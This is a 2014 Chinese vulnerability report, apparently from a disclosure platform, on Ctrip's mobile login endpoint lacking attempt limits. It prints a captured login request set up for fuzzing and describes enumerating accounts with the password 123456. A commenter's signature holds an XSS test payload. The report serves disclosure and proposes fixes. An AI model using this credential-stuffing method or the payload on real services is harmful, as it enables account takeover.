携程某接口设计缺陷可进行扫号（可获取大量账号密码）

问题接口出现在携程触屏版登陆

http://m.ctrip.com/html5/Account/Login.html

经简单测试发现登陆没有错误次数限制，也不会弹出验证码。

于是随便输入用户名，密码。登陆时抓包进行fuzz

抓包数据

POST /html5/Account/LoginValidation HTTP/1.1
 Host: m.ctrip.com
 Proxy-Connection: keep-alive
 Content-Length: 292
 Accept: application/json, text/javascript, */*; q=0.01
 X-Requested-With: XMLHttpRequest
 Origin: http://m.ctrip.com
 User-Agent: Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X; en-us) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 DNT: 1
 Referer: http://m.ctrip.com/html5/Account/Login.html
 Accept-Encoding: gzip,deflate
 Accept-Language: zh-CN
 Cookie: 
 
 UID=§admin§&Password=2ec5ed31996e031281e8da203fa1a2851921cbb7b2cd27bdf4a0ab9fe430f035391638c46e25e821035b5ff71a08b84cb9eaa7573d5988122483ec14ca2331c42e61bb74ff7d1b6853bafaf9b09c376a462fa3c8a582e752b2fcff9dcdf3af080558daea8fd973afd92b4b42e2c64377e5876257484eb4a671c3b83cc315d138&IsRemember=false

可以看到密码是经过加密的。

我就以密码不变，随便找个最简单的弱口令123456来进行测试

测试一部分邮箱账号。

返回包402的为密码错误，大于402的都是可以登陆的

贴出部分证明

guo
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

以上这些账号密码均为123456,。

贴部分登陆证明

g**

综上所述，密码可以变换其他的来进行测试。

在大数据时代，基于之前泄露的各种用户数据进行测试，影响用户数量还是很可观的.

对触屏版登陆接口进行登陆次数限制。

加入验证码进行限制。

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-09-04 19:35

厂商回复：

漏洞已确认真实存在，并已安排人处理。

最新状态：

暂无

1. 2014-10-24 19:55 | 切克脑 ( 实习白帽子 | Rank:31 漏洞数:9 | z..)

   1

   这么多$$$$$$$$$$$$$$$$$$$$$$$

   1# 回复此人

2. 2014-10-24 20:21 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

   0

   为何这么多$$$???

   2# 回复此人

3. 2014-10-24 20:33 | 咖啡 ( 实习白帽子 | Rank:62 漏洞数:23 )

   0

   邮箱是怎么搞到的

   3# 回复此人

4. 2014-10-24 21:30 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

   0

   卧槽、3000啊

   4# 回复此人

5. 2014-10-24 22:43 | 切克脑 ( 实习白帽子 | Rank:31 漏洞数:9 | z..)

   0

   呀$$$$$$$$$$$$没了

   5# 回复此人

6. 2014-10-24 22:44 | 切克脑 ( 实习白帽子 | Rank:31 漏洞数:9 | z..)

   0

   点进去就不显示了...

   6# 回复此人

7. 2014-10-26 00:25 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 冬眠者)

   0

   @老和尚 $$$。。。一个是几十几百 两个是几百几千 三个 这漏洞都上 国家级刊物 计算机安全了

   7# 回复此人